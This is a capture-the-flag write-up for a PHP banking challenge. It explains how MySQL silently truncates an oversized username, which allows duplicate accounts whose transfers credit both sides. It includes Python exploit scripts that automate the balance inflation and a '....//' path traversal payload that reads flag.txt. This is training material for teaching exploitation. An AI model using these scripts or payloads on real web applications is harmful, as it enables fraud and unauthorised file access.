July 27, 2026
Brew Bank Revenge — Official Writeup | EYCC CTF
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

By Abdelrahman Radwan
5 min read
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
Overview
This is the revenge challenge for the original Brew Bank challenge.
Unlike the previous challenge:
- There is no race condition anymore in either the registration or money transfer functionality.
- The path traversal vulnerability now has a simple sanitization that must be bypassed.
Source Code Analysis
init.sql
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(255) NOT NULL UNIQUE,
username TEXT NOT NULL,
password VARCHAR(255) NOT NULL,
balance BIGINT NOT NULL DEFAULT 100
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(255) NOT NULL UNIQUE,
username TEXT NOT NULL,
password VARCHAR(255) NOT NULL,
balance BIGINT NOT NULL DEFAULT 100
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;While reviewing init.sql, you can notice that the username column is not defined as UNIQUE.
Another interesting observation is that username uses the TEXT data type instead of VARCHAR, which is unusual for usernames.
Although the application checks whether a username already exists during registration in register.php, the database itself does not enforce uniqueness. This observation becomes important later.
register.php
try {
$pdo = getDB();
$hashed = password_hash($password, PASSWORD_DEFAULT);
$lockFile = '/tmp/reg_' . md5($username) . '.lock';
$fp = fopen($lockFile, 'c');
flock($fp, LOCK_EX);
try {
$stmt = $pdo->prepare("SELECT id FROM users WHERE email = ?");
$stmt->execute([$email]);
if ($stmt->fetch()) {
$error = 'This email is already registered.';
} else {
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
$error = 'Username is already taken.';
} else {
$stmt = $pdo->prepare(
"INSERT INTO users (email, username, password, balance) VALUES (?, ?, ?, ?)"
);
$stmt->execute([$email, $username, $hashed, INITIAL_BALANCE]);
$success = 'Account created successfully! You received $' . INITIAL_BALANCE . '. You can now sign in.';
}
}
} finally {
flock($fp, LOCK_UN);
fclose($fp);
}
} catch (PDOException $e) {
$error = 'Something went wrong. Please try again.';
}try {
$pdo = getDB();
$hashed = password_hash($password, PASSWORD_DEFAULT);
$lockFile = '/tmp/reg_' . md5($username) . '.lock';
$fp = fopen($lockFile, 'c');
flock($fp, LOCK_EX);
try {
$stmt = $pdo->prepare("SELECT id FROM users WHERE email = ?");
$stmt->execute([$email]);
if ($stmt->fetch()) {
$error = 'This email is already registered.';
} else {
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
$error = 'Username is already taken.';
} else {
$stmt = $pdo->prepare(
"INSERT INTO users (email, username, password, balance) VALUES (?, ?, ?, ?)"
);
$stmt->execute([$email, $username, $hashed, INITIAL_BALANCE]);
$success = 'Account created successfully! You received $' . INITIAL_BALANCE . '. You can now sign in.';
}
}
} finally {
flock($fp, LOCK_UN);
fclose($fp);
}
} catch (PDOException $e) {
$error = 'Something went wrong. Please try again.';
}Unlike the previous challenge, the registration process now uses a lock file based on the username:
$lockFile = '/tmp/reg_' . md5($username) . '.lock';
flock($fp, LOCK_EX);$lockFile = '/tmp/reg_' . md5($username) . '.lock';
flock($fp, LOCK_EX);This prevents two requests from registering the same username simultaneously, effectively fixing the race condition from the original challenge.
transfer.php
try {
$pdo = getDB();
$lockFile = '/tmp/transfer_' . $_SESSION['user_id'] . '.lock';
$fp = fopen($lockFile, 'c');
flock($fp, LOCK_EX);
try {
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_SESSION['user_id']]);
$sender = $stmt->fetch();
if (!$sender) {
session_destroy();
flock($fp, LOCK_UN);
fclose($fp);
header('Location: login.php');
exit;
}
if ($amount <= 0) {
$_SESSION['flash'] = [
'type' => 'error',
'message' => 'Amount must be greater than zero.'
];
header('Location: dashboard.php');
flock($fp, LOCK_UN);
fclose($fp);
exit;
}
if ($amount > $sender['balance']) {
$_SESSION['flash'] = [
'type' => 'error',
'message' => 'Insufficient balance.'
];
header('Location: dashboard.php');
flock($fp, LOCK_UN);
fclose($fp);
exit;
}
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$recipient_name]);
if (!$stmt->fetch()) {
$_SESSION['flash'] = [
'type' => 'error',
'message' => 'Recipient not found.'
];
header('Location: dashboard.php');
flock($fp, LOCK_UN);
fclose($fp);
exit;
}
$stmt = $pdo->prepare(
"UPDATE users SET balance = balance - ? WHERE id = ?"
);
$stmt->execute([$amount, $_SESSION['user_id']]);
$stmt = $pdo->prepare(
"UPDATE users SET balance = balance + ? WHERE username = ?"
);
$stmt->execute([$amount, $recipient_name]);
$_SESSION['flash'] = [
'type' => 'success',
'message' => 'Successfully transferred $' . number_format($amount) . '!'
];
} finally {
flock($fp, LOCK_UN);
fclose($fp);
}
}try {
$pdo = getDB();
$lockFile = '/tmp/transfer_' . $_SESSION['user_id'] . '.lock';
$fp = fopen($lockFile, 'c');
flock($fp, LOCK_EX);
try {
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_SESSION['user_id']]);
$sender = $stmt->fetch();
if (!$sender) {
session_destroy();
flock($fp, LOCK_UN);
fclose($fp);
header('Location: login.php');
exit;
}
if ($amount <= 0) {
$_SESSION['flash'] = [
'type' => 'error',
'message' => 'Amount must be greater than zero.'
];
header('Location: dashboard.php');
flock($fp, LOCK_UN);
fclose($fp);
exit;
}
if ($amount > $sender['balance']) {
$_SESSION['flash'] = [
'type' => 'error',
'message' => 'Insufficient balance.'
];
header('Location: dashboard.php');
flock($fp, LOCK_UN);
fclose($fp);
exit;
}
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$recipient_name]);
if (!$stmt->fetch()) {
$_SESSION['flash'] = [
'type' => 'error',
'message' => 'Recipient not found.'
];
header('Location: dashboard.php');
flock($fp, LOCK_UN);
fclose($fp);
exit;
}
$stmt = $pdo->prepare(
"UPDATE users SET balance = balance - ? WHERE id = ?"
);
$stmt->execute([$amount, $_SESSION['user_id']]);
$stmt = $pdo->prepare(
"UPDATE users SET balance = balance + ? WHERE username = ?"
);
$stmt->execute([$amount, $recipient_name]);
$_SESSION['flash'] = [
'type' => 'success',
'message' => 'Successfully transferred $' . number_format($amount) . '!'
];
} finally {
flock($fp, LOCK_UN);
fclose($fp);
}
}First, notice that the transfer process also uses a lock file, this time based on the sender's user ID, preventing race conditions during transfers.
More importantly, there is an inconsistency in how balances are updated.
The sender's balance is deducted using the unique user ID:
UPDATE users
SET balance = balance - ?
WHERE id = ?UPDATE users
SET balance = balance - ?
WHERE id = ?However, the recipient's balance is updated using the username:
UPDATE users
SET balance = balance + ?
WHERE username = ?UPDATE users
SET balance = balance + ?
WHERE username = ?Since usernames are not actually unique, this query credits every account that shares the same username.
If we somehow manage to create two accounts with the same username, the transfer logic behaves exactly like the original Brew Bank challenge:
- The sender loses the specified amount because the deduction is performed using its unique ID.
- Immediately afterward, every account with the duplicated username receives the transferred amount.
- Since the sender also has that username, it receives the money back as well.
At this point, we know the race condition is gone, so we need another way to create duplicate usernames.
Bypassing the Username Check
Earlier we noticed that username is stored as a TEXT field.
A MySQL TEXT column has a maximum size of 65,535 bytes.
What happens if we register with a username longer than that?
For example:
"A" * 66000"A" * 66000When testing challenge locally, MySQL silently truncates the value and stores only the first 65,535 bytes.
So this username: "A" * 66000 is actually stored as: "A" * 65535
Remember that username is not UNIQUE, and the application only checks for existing usernames using:
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
$error = 'Username is already taken.';
}$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
$error = 'Username is already taken.';
}When registering a second account with: "A" * 66000
the query compares the entire 66,000-character string against the database.
However, the database only contains the truncated 65,535-character version, so the comparison fails and no matching username is found.
The application therefore inserts the new account.
During insertion, MySQL truncates the username again to 65,535 bytes.
As a result, we end up with two different registrations that are stored with the exact same username.
Why Doesn't MySQL Return an Error?
Normally, MySQL would reject oversized values with an error.
However, the challenge disables strict SQL mode in docker-compose.yml:
db:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: r00t_s3cret
MYSQL_DATABASE: brewbank
MYSQL_USER: brewbank
MYSQL_PASSWORD: brewbank_s3cret
command:
- --sql_mode=db:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: r00t_s3cret
MYSQL_DATABASE: brewbank
MYSQL_USER: brewbank
MYSQL_PASSWORD: brewbank_s3cret
command:
- --sql_mode=Setting:
--sql_mode=--sql_mode=disables MySQL's strict SQL mode, making the database much more tolerant of invalid data.
With strict mode disabled, inserting a value larger than a TEXT column does not generate an error.
Instead, MySQL simply truncates the value and stores the maximum allowed size.
Exploitation
Step 1 — Create Duplicate Usernames
This can be done manually using Burp Suite Repeater or with the following Python script:
import requests
url = "http://localhost:1337/register.php"
username = "A1b_" + ("a" * 66000)
password = "12345678"
emails = [
"user11@test.com",
"user22@test.com",
]
for email in emails:
data = {
"email": email,
"username": username,
"password": password,
}
r = requests.post(url, data=data)
print(
f"{email}: {'success' if 'Account created' in r.text else 'failed'} "
f"(status={r.status_code})"
)import requests
url = "http://localhost:1337/register.php"
username = "A1b_" + ("a" * 66000)
password = "12345678"
emails = [
"user11@test.com",
"user22@test.com",
]
for email in emails:
data = {
"email": email,
"username": username,
"password": password,
}
r = requests.post(url, data=data)
print(
f"{email}: {'success' if 'Account created' in r.text else 'failed'} "
f"(status={r.status_code})"
)After registration, the database stores the username as:
"A1b_" + ("a" * 65531)"A1b_" + ("a" * 65531)because the total length is truncated to 65,535 characters.
When sending money, make sure to use the truncated username, not the original 66,000-character one, because that is the value actually stored in the database.
Step 2 — Abuse the Transfer Logic
Once multiple accounts share the same username, simply transfer money between them.
This can be done manually using Burp Suite or automatically with the following script:
import re
import requests
url = "https://brew-bank-revenge.chals.eycc.2hwa.xyz"
def login(email, password):
s = requests.Session()
s.post(url + "/login.php", data={
"email": email,
"password": password
})
return s
def get_balance(html):
m = re.search(r'<span class="currency">\s*\$\s*</span>\s*([\d,]+)', html, re.S)
return m.group(1) if m else "Unknown"
session1 = login("user11@test.com", "12345678")
session2 = login("user22@test.com", "12345678")
balance1 = 1
balance2 = 1
username = "A1b_" + ("a" * 65531)
for i in range(16):
print(f"\n=== Round {i+1} ===")
r = session1.post(
url + "/transfer.php",
data={
"amount": balance1,
"recipient": username
},
allow_redirects=True,
)
print(f"Session1 | amount={balance1} | balance={get_balance(r.text)}")
balance2 += balance1
r = session2.post(
url + "/transfer.php",
data={
"amount": balance2,
"recipient": username
},
allow_redirects=True,
)
print(f"Session2 | amount={balance2} | balance={get_balance(r.text)}")
balance1 += balance2import re
import requests
url = "https://brew-bank-revenge.chals.eycc.2hwa.xyz"
def login(email, password):
s = requests.Session()
s.post(url + "/login.php", data={
"email": email,
"password": password
})
return s
def get_balance(html):
m = re.search(r'<span class="currency">\s*\$\s*</span>\s*([\d,]+)', html, re.S)
return m.group(1) if m else "Unknown"
session1 = login("user11@test.com", "12345678")
session2 = login("user22@test.com", "12345678")
balance1 = 1
balance2 = 1
username = "A1b_" + ("a" * 65531)
for i in range(16):
print(f"\n=== Round {i+1} ===")
r = session1.post(
url + "/transfer.php",
data={
"amount": balance1,
"recipient": username
},
allow_redirects=True,
)
print(f"Session1 | amount={balance1} | balance={get_balance(r.text)}")
balance2 += balance1
r = session2.post(
url + "/transfer.php",
data={
"amount": balance2,
"recipient": username
},
allow_redirects=True,
)
print(f"Session2 | amount={balance2} | balance={get_balance(r.text)}")
balance1 += balance2Because every transfer credits all accounts that share the duplicated username, both balances grow rapidly.
After reaching a balance of $1,000,000, logging into either duplicated account grants VIP status.
recipe.php
$recipe = $_GET['recipe'] ?? 'espresso.txt';
$recipe = str_replace('../', '', $recipe);
$content = @file_get_contents("recipes/" . $recipe);$recipe = $_GET['recipe'] ?? 'espresso.txt';
$recipe = str_replace('../', '', $recipe);
$content = @file_get_contents("recipes/" . $recipe);it attempts to prevent directory traversal by removing every occurrence of:
../../However, this is insufficient and can be bypassed using overlapping path traversal sequences, such as:
/recipe.php?recipe=....//....//....//....//....//flag.txt/recipe.php?recipe=....//....//....//....//....//flag.txtAfter str_replace() removes every "../" substring, the remaining characters are reassembled into valid traversal sequences.
For example: ....//
becomes: ../
After the replacement, the payload is transformed back into valid ../ sequences, allowing traversal outside the recipes/ directory and making it possible to read flag.txt.